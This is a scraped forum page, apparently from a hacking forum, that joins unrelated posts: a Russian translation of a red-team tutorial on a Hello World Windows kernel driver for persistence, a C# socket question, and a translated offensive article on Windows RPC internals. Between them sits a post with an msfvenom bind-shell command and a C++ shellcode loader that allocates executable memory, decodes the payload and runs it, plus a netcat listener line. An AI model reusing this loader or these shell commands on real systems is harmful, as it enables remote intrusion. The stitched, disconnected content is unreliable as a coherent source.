Теперь давайте продолжим и создадим первый проект кода ядра! Начните с открытия Visual Studio и выбора Create a new project. Затем найдите Kernel Mode Driver, Empty (KMDF)шаблон.
Подтвердите свой выбор и назовите проект HelloWorld. После того, как Visual Studio загрузит решение, щелкните правой кнопкой мыши Source Files, затем щелкните Add и, наконец New Item..., .
Откроется окно, в котором вам будет предложено выбрать элемент для добавления в проект. Выберите C++ File (.cpp)и назовите его Driver.c. На самом деле вы можете назвать его как хотите, просто убедитесь, что у файла есть .c расширение.
Привет, мир!
Мы подходим к хорошему! В этом разделе мы, наконец, приступим к написанию драйвера.
Предупреждение
Чтобы писать драйверы ядра, необходимо хорошо понимать язык программирования Си. Если вы не знакомы с C, рекомендуется освежить свои навыки, прежде чем продолжить.
Все драйверы требуют подпрограммы DriverEntry, отвечающей за инициализацию драйвера. Думайте об этом как о main функции в стандартных программах на C.
Мы можем создать простую DriverEntry процедуру для файла Driver.c, которая будет выглядеть так:
C:Copy to clipboard
1
#include <ntddk.h> // Kernel header
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT driverObject, _In_ PUNICODE_STRING registryPath) {
KdPrint(("Hello World!\n")); // Printf "equivalent"
// - Only prints data when build settings are set to 'Debug',
// otherwise doesn't do anything
return STATUS_SUCCESS;
}
В дополнение к подпрограмме входа нам также нужно что-то, называемое подпрограммой «выход», которая вызывается каждый раз, когда драйвер выгружается. Основное различие между процедурой выхода и процедуры входа состоит в том, что процедура выхода не имеет предопределенного имени. Таким образом, нам нужно вручную указать процедуру выгрузки при инициализации драйвера.
В моем случае я создал новую процедуру выхода под названием DriverUnload. Обновленный файл Driver.c после добавления подпрограммы должен выглядеть так:
C:Copy to clipboard
#include <ntddk.h>
NTSTATUS DriverUnload(_In_ PDRIVER_OBJECT driverObject) {
KdPrint(("Goodbye World!\n"));
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT driverObject, _In_ PUNICODE_STRING registryPath) {
KdPrint(("Hello World!\n"));
driverObject->DriverUnload = DriverUnload; // Set the unload function to DriverUnload
return STATUS_SUCCESS;
}
Это почти все, что касается программирования! Есть только одна проблема, которую нам нужно решить. Если вы попытаетесь создать решение сейчас, оно завершится ошибкой с несколько раздражающим сообщением об ошибке:
Поскольку ядро является критически важным компонентом операционной системы, и любые проблемы с драйвером могут иметь серьезные последствия, Microsoft выбрала осторожный подход к разработке. Поэтому решения, настроенные с помощью шаблона каркаса драйвера режима ядра ( KMDF ), всегда обрабатывают любые предупреждения как ошибки. Хотя это поведение можно отключить, делать это не рекомендуется, поскольку чем сложнее становится драйвер, тем сложнее будет устранять неполадки.
Вместо этого мы изменим наш код, чтобы устранить ошибку. Предупреждения указывают на наличие двух нессылочных параметров функции: driverObjectи registryPath. Вы можете либо использовать эти параметры где-то в своем коде, либо использовать макрос, UNREFERENCED_PARAMETER()чтобы пометить их как заведомо «неиспользуемые».
С этой настройкой драйвер должен быть наконец завершен:
C:Copy to clipboard
#include <ntddk.h>
NTSTATUS DriverUnload(_In_ PDRIVER_OBJECT driverObject) {
UNREFERENCED_PARAMETER(driverObject);
KdPrint(("Goodbye World!\n"));
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT driverObject, _In_ PUNICODE_STRING registryPath) {
UNREFERENCED_PARAMETER(registryPath);
KdPrint(("Hello World!\n"));
driverObject->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
Отсюда обязательно установите целевую архитектуру на x64 и создайте драйвер в режиме отладки. Если вы правильно выполнили все шаги, теперь у вас должен быть самый первый драйвер ядра HelloWorld.sys!
Примечание
Если вы получаете сообщение об ошибке, похожее на DriverVer set to incorrect dateто, когда вы пытаетесь построить свой проект, не беспокойтесь. Просто зайдите в свойства проекта и найдите конфигурацию Inf2Cat. Найдите строку с вопросом, хотите ли вы использовать местное время, и выберите Yes (/uselocaltime).
Загрузка драйвера
Теперь, когда драйвер скомпилирован, нам нужно перенести его на тестовую виртуальную машину, используя ранее созданный сетевой ресурс. Если вы не создавали сетевую папку, найдите альтернативный способ переноса драйвера.
Для демонстрации я поместил драйвер в папку «Документы». Для его загрузки я буду использовать приложение OSRLoader.
Вам не нужно ничего настраивать, кроме указания местоположения вашего драйвера. Однако обратите внимание, что когда вы загружаете драйвер в первый раз, вам нужно будет зарегистрировать его как службу. Для этого нажмите на кнопку Register Service. Вы получите предупреждение, которое сообщит вам, было ли действие успешным или нет. Если это было успешно, теперь вы можете нажать кнопку Start Service , чтобы загрузить драйвер, и Stop Service, чтобы выгрузить его!
Запустив службу и загрузив драйвер, давайте проверим WinDbg, чтобы убедиться, что драйвер работает должным образом. Вспомним, что мы запрограммировали драйвер на печать «Hello World» при загрузке и «Goodbye World» при выгрузке.
Идеально! Это именно то, что мы хотели!
Заключение
Спасибо, что дочитали до конца поста! Я ценю, что вы нашли время, чтобы прочитать его, и я надеюсь, что вы нашли его полезным и информативным. Имейте в виду, что это была только первая часть серии, так что следите за следующей! Если с моей стороны все пойдет хорошо, следующая часть должна охватывать процесс создания драйвера, который можно активировать удаленно с помощью пользовательских сетевых пакетов.
Переведено специально для XSS.IS
Автор перевода: yashechka
Источник: [https://v3ded.github.io/redteam/red...ernel-drivers-for-advanced-
persistence-part-1](https://v3ded.github.io/redteam/red-team-tactics-writing-
windows-kernel-drivers-for-advanced-persistence-part-1)
I'm generating a shellcode using
msfvenom -p windows/shell_bind_tcp LPORT=80 -f c
Trying to run it using
C++:Copy to clipboard
void main()
{
const char shellcode[] = "\x09\xf5\x8f (...) ";
PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
for (int i = 0; i < sizeof shellcode; i++)
{
((char*)shellcode_exec)[i] = (((char*)shellcode_exec)[i]) - 13;
}
HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
WaitForSingleObject(hThread, INFINITE);
}
Compiles correctly but Doesn't get a shell in
nc -lvp 80
hello
i am creating application to send images over socket
on some devices the server receives only part of the packet not all of it
also on some other devices the app is working fine
note that i send the images over the internet not in the internal network
this is the server
C#:Copy to clipboard
TcpListener listener = new TcpListener(port);
listener.Start();
Socket socket = listener.AcceptSocket();
byte[] data = new byte[4];
int count = socket.Receive(data, SocketFlags.None);
int messagesize = 0;
//could optionally call BitConverter.ToInt32(sizeinfo, 0);
messagesize |= data[0];
messagesize |= (((int)data[1]) << 8);
messagesize |= (((int)data[2]) << 16);
messagesize |= (((int)data[3]) << 24);
int len = 0;
label3.Text = messagesize.ToString();
while(len != messagesize)
{
data = new byte[1024];
len += socket.Receive(data);
label4.Text = len.ToString();
}
the client
C#:Copy to clipboard
byte[] data = Capture();
TcpClient client = new TcpClient(ip, port);
NetworkStream stream = client.GetStream();
int length = data.Length;
byte[] sizeinfo = new byte[4];
//could optionally call BitConverter.GetBytes(data.length);
sizeinfo[0] = (byte)data.Length;
sizeinfo[1] = (byte)(data.Length >> 8);
sizeinfo[2] = (byte)(data.Length >> 16);
sizeinfo[3] = (byte)(data.Length >> 24);
stream.Write(sizeinfo, 0, sizeinfo.Length);
stream.Write(data, 0, data.Length);
stream.Close();
client.Close();
Изначально планировалось посвятить LPC и ALPC, но, как оказалось, выкапывать все недокументированные биты и трюки, связанные с этими технологиями, довольно трудоемко. Поэтому я решил сначала опубликовать свои знания о RPC, а затем снова обратиться к ALPC.
Причина, по которой я изначально планировал опубликовать LPC и ALPC перед RPC, заключается в том, что RPC использует ALPC под капотом при локальном использовании и даже больше: RPC - это решение для быстрого локального межпроцессного взаимодействия, поскольку RPC может быть предписано обрабатывать локальное взаимодействие через специальную последовательность протокола ALPC (но вы узнаете это, читая дальше).
В любом случае, урок здесь заключается в том (я думаю), что иногда лучше сделать паузу в каком-то деле, чтобы прояснить ситуацию и продвинуться в чем- то другом, прежде чем вы заблудитесь в чем-то, что просто не готово открыть вам свои тайны.
Введение
Удаленные вызовы процедур (RPC) - это технология, позволяющая осуществлять обмен данными между клиентом и сервером через границы процессов и машин (сетевое взаимодействие). Поэтому RPC является технологией межпроцессного взаимодействия (IPC). Другими технологиями в этой категории являются, например, LPC, ALPC или Named Pipes. Как следует из названия этой категории, RPC используется для осуществления вызовов на удаленные серверы для обмена/передачи данных или для запуска удаленной процедуры. Термин "удаленный" в данном случае не описывает требования к коммуникации. Сервер RPC не обязательно должен находиться на удаленной машине, и теоретически он даже не должен находиться в другом процессе (хотя это имело бы смысл).
Теоретически вы можете реализовать RPC-сервер и клиент в DLL, загрузить их в один и тот же процесс и обмениваться сообщениями, но вы мало что выиграете, так как сообщения все равно будут проходить через другие компоненты вне вашего процесса (например, ядро, но об этом позже), и вы попытаетесь использовать технологию "Inter" Process Communication для "Intra" Process Communication. Более того, сервер RPC не обязательно должен находиться на удаленной машине, он может быть вызван и с локального клиента.
В этой статье вы сможете вместе со мной узнать, что такое RPC, как он работает и функционирует, как реализовать и атаковать RPC-клиенты и серверы.
Эта статья написана с наступательной точки зрения и пытается охватить наиболее важные аспекты поверхности атаки RPC с точки зрения атакующего. Более оборонительный взгляд на RPC можно найти, например, на сайте Джонатана Джонсона.
В нижеследующем сообщении будут содержаться некоторые ссылки на код из моих примеров реализации, весь этот код можно найти [здесь](https://github.com/csandker/InterProcessCommunication- Samples/tree/master/RPC/CPP-RPC-Client-Server).
История
Реализация RPC в Microsoft основана на реализации RPC стандарта Distributed Computing Environment (DCE), разработанного Open Software Foundation (OSF) в 1993 году.
"Одной из ключевых компаний, внесших вклад [в реализацию DCE], была Apollo
Computer, которая привнесла NCA - 'Network Computing Architecture', ставшую
Network Computing System (NCS), а затем и основной частью самого DCE/RPC".
Источник
Microsoft наняла Пола Лича (в 1991 году), одного из инженеров-основателей Apollo, и, возможно, именно так RPC появился в Windows.
Microsoft подстроила модель DCE под свою схему программирования, основала коммуникацию RPC на Named Pipes и представила свою реализацию в Windows 95.
В те времена вы могли задаться вопросом, почему они основали взаимодействие на NamedPipe, ведь Microsoft только что разработала новую технологию под названием Local Procedure Call (LPC) в 1994 году, и кажется, что было бы логично основать технологию под названием Remote Procedure Call на чем-то под названием Local Procedure Call, верно? ... Да, LPC был бы логичным выбором (и я полагаю, что они изначально выбрали LPC), но у LPC был существенный недостаток: он не поддерживал (и до сих пор не поддерживает) асинхронные вызовы (подробнее об этом я расскажу, когда наконец закончу свой пост о LPC/ALPC...), поэтому Microsoft основала его на Named Pipes.
Как мы увидим через некоторое время (раздел RPC Protocol Sequence), при реализации процедур с RPC разработчику необходимо указать библиотеке RPC, какой "протокол" использовать для передачи данных. В оригинальном стандарте DCE/RCP уже были определены 'ncacn_ip_tcp' и 'ncadg_ip_udp' для TCP и UDP соединений. Microsoft добавила 'ncacn_np' для своей реализации на основе Named Pipes (транспортировка через протокол SMB).
Обмен сообщениями RPC
RPC - это технология клиент-сервер с архитектурой обмена сообщениями, похожей на COM (Component Object Model), которая на высоком уровне состоит из следующих трех компонентов:
Визуальный обзор этой архитектуры сообщений можно найти по адресу https://docs.microsoft.com/en-us/windows/win32/rpc/how-rpc-works , как показано ниже:
Позже, в разделе RPC Communication Flow, я представлю обзор шагов от создания RPC-сервера до отправки сообщения, но прежде чем мы сможем погрузиться в это, нам нужно прояснить несколько терминов RPC. Потерпите, пока мы будем копаться во внутренностях RPC. Следующие вещи необходимо знать для того, чтобы освоить RPC.
Если вы запутались в новых терминах и вызовах API, которые вы просто не можете уловить, вы всегда можете перейти к разделу RPC Communication Flow, чтобы получить представление о месте этих вещей в коммуникационной цепочке.
Последовательность протоколов RPC
RPC Protocol Sequence - это постоянная строка, определяющая, какой протокол должна использовать среда выполнения RPC для передачи сообщений. Эта строка определяет, какой протокол RPC, транспортный и сетевой протокол должен использоваться.
Microsoft поддерживает следующие три протокола RPC:
В большинстве сценариев, где соединение осуществляется по сети, вы будете использовать NCACN, в то время как NCALRPC рекомендуется для локальной связи RPC.
Последовательность протокола - это определенная константная строка, собранная из вышеуказанных частей, например, ncacn_ip_tcp для ориентированного на соединение взаимодействия, основанного на TCP-пакетах.
Полный список констант последовательности протокола RPC можно найти [по адресу.](https://docs.microsoft.com/en-us/windows/win32/rpc/protocol-sequence- constants)
Ниже приведены наиболее важные последовательности протоколов:
ncacn_ip_tcp| Connection-oriented Transmission Control Protocol/Internet
Protocol (TCP/IP)
---|---
ncacn_http| Connection-oriented TCP/IP using Microsoft Internet Information
Server as HTTP proxy
ncacn_np| Connection-oriented named pipes (via SMB.)
ncadg_ip_udp| Datagram (connectionless) User Datagram Protocol/Internet
Protocol (UDP/IP)
ncalrpc| Local Procedure Calls (post Windows Vista via ALPC)
Чтобы установить канал связи, среда выполнения RPC должна знать, какие методы (они же "функции") и параметры предлагает ваш сервер и какие данные посылает ваш клиент. Эта информация определяется в так называемом "интерфейсе".
Примечание: Если вы знакомы с интерфейсами в COM, это то же самое.
Чтобы получить представление о том, как можно определить интерфейс, давайте возьмем этот пример из моего примера [кода](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/RPC/CPP-RPC-Client-Server/RPC- Interface1/Interface1-Implicit.idl)
Interface1.idl
C++:Copy to clipboard
[
// UUID: A unique identifier that distinguishes this
// interface from other interfaces.
uuid(9510b60a-2eac-43fc-8077-aaefbdf3752b),
// This is version 1.0 of this interface.
version(1.0),
// Using an implicit handle here named hImplicitBinding:
implicit_handle(handle_t hImplicitBinding)
]
interface Example1 // The interface is named Example1
{
// A function that takes a zero-terminated string.
int Output(
[in, string] const char* pszOutput);
void Shutdown();
}
Первое, что необходимо отметить, это то, что интерфейсы определяются в файле Interface Definition Language (IDL). Определения в нем будут позже скомпилированы компилятором Microsoft IDL (midl.exe) в файлы заголовков и исходного кода, которые могут быть использованы сервером и клиентом.
Заголовок интерфейса достаточно самоочевиден с приведенными комментариями - игнорируйте пока инструкцию implicit_handle, мы скоро перейдем к неявным и явным дескрипторам. Тело интерфейса описывает методы, которые этот интерфейс раскрывает, их возвращаемые значения и параметры. Оператор [in, string] в определении параметра функции Output не является обязательным, но помогает понять, для чего используется этот параметр.
Примечание: Вы также можете указать различные атрибуты интерфейса в файле конфигурации приложения (ACF). Некоторые из них, такие как тип связывания (явное или неявное), можно поместить в IDL-файл, но для более сложных интерфейсов вы можете добавить дополнительный ACF-файл для каждого интерфейса.
Привязка RPC
Как только ваш клиент подключается к серверу RPC (позже мы рассмотрим, как это делается), вы создаете то, что Microsoft называет "привязкой". Или, говоря [словами Microsoft](https://docs.microsoft.com/en- us/windows/win32/rpc/binding-handles):
Привязка- это процесс создания логической связи между клиентской программой и серверной программой. Информация, составляющая связь между клиентом и сервером, представлена структурой, называемой дескриптором привязки.
Терминология дескрипторов связывания становится более понятной, когда мы вводим некоторый контекст. Технически существует три типа дескрипторов привязки:
Примечание: Вы можете реализовать пользовательские дескрипторы привязки, как описано [здесь](https://docs.microsoft.com/en-us/windows/win32/rpc/primitive- and-custom-binding-handles), но мы проигнорируем это в данной статье, поскольку это довольно редкое явление, и вы вполне можете обойтись стандартными типами.
Неявные дескрипторы привязки позволяют вашему клиенту подключаться и взаимодействовать с определенным RPC-сервером (указанным UUID в IDL-файле). Недостатком является то, что неявные привязки не являются потокобезопасными, поэтому многопоточные приложения должны использовать явные привязки. Ручки неявного связывания определяются в IDL-файле, как показано в примере IDL-кода выше или в моем примере [неявного интерфейса](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/RPC/CPP-RPC-Client-Server/RPC- Interface1/Interface1-Implicit.idl).
Явные дескрипторы привязки позволяют вашему клиенту подключаться и взаимодействовать с несколькими серверами RPC. Явные дескрипторы связывания рекомендуется использовать из-за их потокобезопасности и возможности установки нескольких соединений. Пример определения явного дескриптора привязки можно найти в моем коде [здесь](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/RPC/CPP-RPC-Client-Server/RPC- Interface1/Interface1-Explicit.idl).
Автоматическое связывание - это промежуточное решение для ленивого разработчика, который не хочет возиться с дескрипторами связывания и позволяет среде выполнения RPC выяснить, что нужно. Я бы рекомендовал использовать явные дескрипторы, просто чтобы быть в курсе того, что вы делаете.
Зачем мне вообще нужны дескрипторы привязки, спросите вы. Представьте себе дескриптор связывания как представление вашего канала связи между клиентом и сервером, подобно шнуру в телефоне (интересно, сколько людей знают эти "устройства"...). Учитывая, что у вас есть представление канала связи ("шнур"), вы можете добавить атрибуты к этому каналу связи, например, раскрасить шнур, чтобы сделать его более уникальным.
Подобно этому, ручки привязки позволяют, например, защитить соединение между клиентом и сервером (потому что у вас есть что-то, к чему можно добавить безопасность) и, следовательно, сформировать то, что Microsoft называет "аутентифицированными" привязками.
Анонимные и аутентифицированные привязки
Допустим, у вас работает простой и понятный RPC-сервер, теперь клиент подключается к вашему серверу. Если вы не указали ничего, кроме самого минимума (который я перечислю ниже), такое соединение между клиентом и сервером называется анонимным или неаутентифицированным связыванием, из-за того, что ваш сервер не знает, кто к нему подключился. Чтобы избежать подключения любого клиента и повысить уровень безопасности вашего сервера, вы можете включить три механизма:
Давайте рассмотрим эти три механизма шаг за шагом.
Флаги регистрации
Прежде всего, когда вы создаете свой сервер, вам необходимо зарегистрировать свой интерфейс, например, с помощью вызова [RpcServerRegisterIf2](https://docs.microsoft.com/en- us/windows/win32/api/rpcdce/nf-rpcdce-rpcserverregisterif2) - я покажу вам, где этот вызов вступает в игру в разделе RPC Communication Flow. В качестве четвертого параметра RpcServerRegisterIf2 вы можете указать [флаги регистрации интерфейса](https://docs.microsoft.com/en-us/windows/win32/rpc/interface- registration-flags), например RPC_IF_ALLOW_LOCAL_ONLY, чтобы разрешить только локальные соединения.
Примечание: читайте это как RPC_InterFace_ALLOW_LOCAL_ONLY.
Пример вызова может выглядеть следующим образом:
C++:Copy to clipboard
RPC_STATUS rpcStatus = RpcServerRegisterIf2(
Example1_v1_0_s_ifspec, // Interface to register.
NULL, // NULL type UUID
NULL, // Use the MIDL generated entry-point vector.
RPC_IF_ALLOW_LOCAL_ONLY, // Only allow local connections
RPC_C_LISTEN_MAX_CALLS_DEFAULT, // Use default number of concurrent calls.
(unsigned)-1, // Infinite max size of incoming data blocks.
NULL // No security callback.
);
Обратные вызовы безопасности
Следующим в списке является обратный вызов безопасности, который вы можете задать в качестве последнего параметра вышеприведенного вызова. Всегда разрешенный обратный вызов может выглядеть следующим образом:
C++:Copy to clipboard
// Naive security callback.
RPC_STATUS CALLBACK SecurityCallback(RPC_IF_HANDLE hInterface, void* pBindingHandle)
{
return RPC_S_OK; // Always allow anyone.
}
Чтобы включить этот обратный вызов Security, просто установите последний параметр функции RpcServerRegisterIf2 в имя вашей функции обратного вызова безопасности, которая в данном случае называется просто "SecurityCallback", как показано ниже:
C++:Copy to clipboard
RPC_STATUS rpcStatus = RpcServerRegisterIf2(
Example1_v1_0_s_ifspec, // Interface to register.
NULL, // Use the MIDL generated entry-point vector.
NULL, // Use the MIDL generated entry-point vector.
RPC_IF_ALLOW_LOCAL_ONLY, // Only allow local connections
RPC_C_LISTEN_MAX_CALLS_DEFAULT, // Use default number of concurrent calls.
(unsigned)-1, // Infinite max size of incoming data blocks.
SecurityCallback // No security callback.
);
Эта функция обратного вызова может быть реализована любым удобным для вас способом, например, вы можете разрешать/запрещать соединения на основе IP- адресов.
Хорошо, пока вы должны знать, что вы можете создавать неявные и явные
интерфейсы и использовать несколько вызовов Windows API для настройки вашего
RPC-сервера. В предыдущем разделе я добавил, что как только вы зарегистрируете
свой сервер, вы можете установить флаги регистрации и (если хотите) также
функцию обратного вызова для защиты вашего сервера и фильтрации клиентов,
которые могут получить доступ к вашему серверу. Последняя часть головоломки
теперь представляет собой дополнительный Windows API, который позволяет
серверу и клиенту аутентифицировать вашу привязку (помните, что одно из
преимуществ наличия дескриптора привязки заключается в том, что вы можете
аутентифицировать свою привязку, например, «покрасить шнур для банки»).
Телефон').
… Но зачем/должны ли вы это делать?
Аутентифицированные привязки в сочетании с правильным регистрационным флагом (RPC_IF_ALLOW_SECURE_ONLY) позволяют вашему RPC-серверу гарантировать, что только аутентифицированные пользователи могут подключаться; И, в случае, если клиент разрешает это, позволяет серверу выяснить, кто к нему подключился, выдавая себя за клиента.
Для резервного копирования того, что вы узнали ранее: вы также можете использовать SecurityCallback, чтобы запретить любому анонимному клиенту подключаться, но вам нужно будет реализовать механизм фильтрации самостоятельно, на основе атрибутов, которыми вы управляете.
Пример: вы не сможете определить, например, является ли клиент действительным пользователем домена, потому что у вас нет доступа к этой информации об учетной записи.
Итак, как указать аутентифицированную привязку?
Вы можете аутентифицировать свою привязку на сервере и на стороне клиента. На стороне сервера вы хотите реализовать это, чтобы обеспечить безопасное соединение, а на стороне клиента вам может понадобиться это, чтобы иметь возможность подключаться к вашему серверу (как мы вскоре увидим в [матрице доступа ](https://csandker.io/2021/02/21/Offensive-Windows- IPC-2-RPC.html#access-matrix))
Аутентификация привязки на стороне сервера:[взято из моего примера кода [здесь](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/RPC/CPP-RPC-Client-Server/RPC-Server1-Explicit- SecurityCallback-Auth/RPC-Server-Explicit-SecurityCallback-Auth.cpp#L179) ]
C++:Copy to clipboard
RPC_STATUS rpcStatus = RpcServerRegisterAuthInfo(
pszSpn, // Server principal name
RPC_C_AUTHN_WINNT, // using NTLM as authentication service provider
NULL, // Use default key function, which is ignored for NTLM SSP
NULL // No arg for key function
);
Аутентификация привязки на стороне клиента:[Взято из моего примера кода [здесь](https://github.com/csandker/InterProcessCommunication- Samples/blob/master/RPC/CPP-RPC-Client-Server/RPC-Client1-Explicit-Auth- QOS/RPC-Client1-Explicit-Auth-QOS.cpp#L84) ]
C++:Copy to clipboard
RPC_STATUS status = RpcBindingSetAuthInfoEx(
hExplicitBinding, // the client's binding handle
pszHostSPN, // the server's service principale name (SPN)
RPC_C_AUTHN_LEVEL_PKT, // authentication level PKT
RPC_C_AUTHN_WINNT, // using NTLM as authentication service provider
NULL, // use current thread credentials
RPC_C_AUTHZ_NAME, // authorization based on the provided SPN
&secQos // Quality of Service structure
);
Интересным моментом на стороне клиента является то, что вы можете установить структуру [качества обслуживания (QOS)](https://docs.microsoft.com/en- us/windows/win32/api/winnt/ns-winnt-security_quality_of_service)с помощью аутентифицированного дескриптора привязки. Эта структура QOS может, например, использоваться на стороне клиента для определения уровня олицетворения(для получения дополнительной информации см. мою предыдущую публикацию IPC ), которую мы позже рассмотрим в разделе Имитация клиента .
Важно отметить :
Установка привязки с проверкой подлинности на стороне сервера не требует
проверки подлинности на стороне клиента.
Если, например, на стороне сервера не установлены никакие флаги или установлен только RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH , неаутентифицированные клиенты все равно могут подключаться к RPC-серверу.
установка RPC_IF_ALLOW_SECURE_ONLY предотвращает привязку клиента без проверки подлинности, поскольку клиент не может установить уровень проверки подлинности (который проверяется с помощью этого флага) без создания привязки с проверкой подлинности.
И последнее, но не менее важное: мы должны прояснить один последний важный аспект связи RPC: общеизвестные и динамические конечные точки.
Я постараюсь сделать это кратким, так как это также довольно легко понять…
Когда вы запускаете свой сервер RPC, сервер регистрирует интерфейс (как мы уже видели в приведенном выше примере кода с [RpcServerRegisterIf2 ](https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce- rpcserverregisterif2)), и ему также необходимо определить, в какой последовательности протоколов (например, 'ncacn_ip_tcp', 'ncacn_np', …) это хочется слушать.
Теперь строки последовательности протокола, которую вы указываете на своем сервере, недостаточно для открытия соединения порта RPC. Представьте, что вы указываете «ncacn_ip_tcp» в качестве последовательности вашего протокола, что означает, что вы указываете своему серверу открыть RPC-соединение, которое принимает соединения через TCP/IP… но… на каком TCP-порту сервер должен фактически открывать соединение?
Подобно ncacn_ip_tcp , другим последовательностям протоколов также требуется немного больше информации о том где открывать объект соединения:
Предположим на мгновение, что вы указали ncacn_np в качестве последовательности протокола и выбрали имя именованного канала «\pipe\FRPC- NP».
Ваш сервер RPC с радостью заработает и теперь ждет подключения клиентов. С другой стороны, клиент должен знать, куда он должен подключаться. Вы сообщаете своему клиенту имя сервера, указываете последовательность протокола как ncacn_np и устанавливаете имя именованного канала на то же имя, которое вы определили на своем сервере («\pipe\FRPC-NP»). Клиент успешно подключается, и таким образом вы создали клиент и сервер RPC на основе общеизвестной конечной точки… которая в данном случае: «\pipe\FRPC-NP».
Использование общеизвестных конечных точек RPC просто означает, что вы заранее знаете всю информацию о привязке (последовательность протокола и адрес конечной точки) и можете — если хотите — также жестко закодировать эту информацию в своем клиенте и сервере. Использование общеизвестных конечных точек — это самый простой способ создать первое соединение клиент/сервер RPC.
Что такое динамические конечные точки и зачем их использовать?
В приведенном выше примере мы выбрали ncacn_np и просто выбрали любое произвольное имя именованного канала, чтобы открыть наш сервер, и это сработало просто отлично, потому что мы знали (ну, по крайней мере, мы надеялись), что именованный канал, который мы открыли с этим именем, не уже существует на стороне сервера, потому что мы только что придумали имя. Если теперь мы выберем ncacn_ip_tcp в качестве последовательности протоколов, как мы узнаем, какой TCP-порт все еще доступен для нас? Что ж, мы могли бы просто указать, что нашей программе нужен порт 9999 для работы, и предоставить администраторам возможность убедиться, что этот порт не используется, но мы также можем попросить Windows назначить нам свободный порт. И это то, что динамические конечные точки. Легко… дело закрыто, пошли пить пиво
Подождите: если нам динамически назначается порт, как клиент узнает, куда подключаться?!…
И это еще одна вещь с динамическими конечными точками: если вы выбрали динамические конечные точки, вам нужен кто-то, чтобы сообщить вашему клиенту, какой порт у вас есть, и этот кто-то является сопоставления конечных точек RPC(запущена и работает по умолчанию в вашей системе Windows). Если ваш сервер использует динамические конечные точки ему нужно будет вызвать средство сопоставления конечных точек RPC, чтобы указать ему зарегистрировать свой интерфейс и функции (указанные в файле IDL). Как только клиент попытается создать привязку, он запросит у сервера сопоставления конечных точек RPC совпадающие интерфейсы, и средство сопоставления конечных точек заполнит недостающую информацию (например, TCP-порт) для создания привязки.
Основное преимущество динамических конечных точек заключается в автоматическом поиске доступного адреса конечной точки, когда адресное пространство конечной точки ограничено, как в случае с TCP-портами. Именованные каналы и соединения на основе ALPC также можно безопасно выполнять с общеизвестными конечными точками, потому что адресное пространство (также известное как произвольное имя канала или порта, которое вы выбрали) достаточно велико, чтобы избежать коллизий.
Мы завершим это фрагментами кода со стороны сервера, чтобы закрепить наше понимание общеизвестных и динамических конечных точек.
Хорошо известная реализация конечной точки
C++:Copy to clipboard
RPC_STATUS rpcStatus;
// Create Binding Information
rpcStatus = RpcServerUseProtseqEp(
(RPC_WSTR)L"ncacn_np", // using Named Pipes here
RPC_C_PROTSEQ_MAX_REQS_DEFAULT, // Ignored for Named Pipes (only used for ncacn_ip_tcp, but set this anyway)
(RPC_WSTR)L"\\pipe\\FRPC-NP", // example Named Pipe name
NULL // No Secuirty Descriptor
);
// Register Interface
rpcStatus = RpcServerRegisterIf2(...) // As shown in the examples above
// OPTIONAL: Register Authentication Information
rpcStatus = RpcServerRegisterAuthInfo(...) // As shown in the example above
// Listen for incoming client connections
rpcStatus = RpcServerListen(
1, // Recommended minimum number of threads.
RPC_C_LISTEN_MAX_CALLS_DEFAULT, // Recommended maximum number of threads.
FALSE // Start listening now.
);
Реализация динамической конечной точки
C++:Copy to clipboard
RPC_STATUS rpcStatus;
RPC_BINDING_VECTOR* pbindingVector = 0;
// Create Binding Information
rpcStatus = RpcServerUseProtseq(
(RPC_WSTR)L"ncacn_ip_tcp", // using Named Pipes here
RPC_C_PROTSEQ_MAX_REQS_DEFAULT, // Backlog queue length for the ncacn_ip_tcp protocol sequenc
NULL // No Secuirty Descriptor
);
// Register Interface
rpcStatus = RpcServerRegisterIf2(...) // As shown in the examples above
// OPTIONAL: Register Authentication Information
rpcStatus = RpcServerRegisterAuthInfo(...) // As shown in the example above
// Get Binding vectors (dynamically assigend)
rpcStatus = RpcServerInqBindings(&pbindingVector);
// Register with RPC Endpoint Mapper
rpcStatus = RpcEpRegister(
Example1_v1_0_s_ifspec, // your interface as defined via IDL
pbindingVector, // your dynamic binding vectors
0, // We don't want to register the vectors with UUIDs
(RPC_WSTR)L"MyDyamicEndpointServer" // Annotation used for information purposes only, max 64 characters
);
// Listen for incoming client connections
rpcStatus = RpcServerListen(
1, // Recommended minimum number of threads.
RPC_C_LISTEN_MAX_CALLS_DEFAULT, // Recommended maximum number of threads.
FALSE // Start listening now.
);
Примечание. Если вы используете общеизвестные конечные точки, вы также можете зарегистрировать свой RPC-сервер в локальном сопоставителе конечных точек RPC, вызвав [RpcServerInqBindings ](https://docs.microsoft.com/en- us/windows/win32/api/rpcdce/nf-rpcdce-rpcserverinqbindings)и [RpcEpRegister ](https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce- rpcepregister), если хотите. Вам не нужно делать это, чтобы ваш клиент мог подключиться, но вы могли бы.
Если вы хотите узнать больше об этом, документацию Microsoft по этой теме
можно найти здесь:
https://docs.microsoft.com/en-us/windows/win32/rpc/specifying-endpoints
Подводя итог всему вышесказанному, можно резюмировать поток общения следующим образом:
Как уже упоминалось в начале, приведенные выше примеры взяты из моей пробной
реализации, общедоступной по адресу:
[https://github.com/csandker/InterProcessCommunication-
Samples/tree/master/RPC/CPP-RPC-Client-Server
](https://github.com/csandker/InterProcessCommunication-
Samples/tree/master/RPC/CPP-RPC-Client-Server).
В этом репозитории вы найдете следующие примеры реализации:
Пример того, как выглядят эти PoC, можно увидеть ниже:
Хорошо, если вы поняли всю приведенную выше терминологию, вот матрица доступа, которая визуализирует, какой клиент может подключиться к какому серверу.
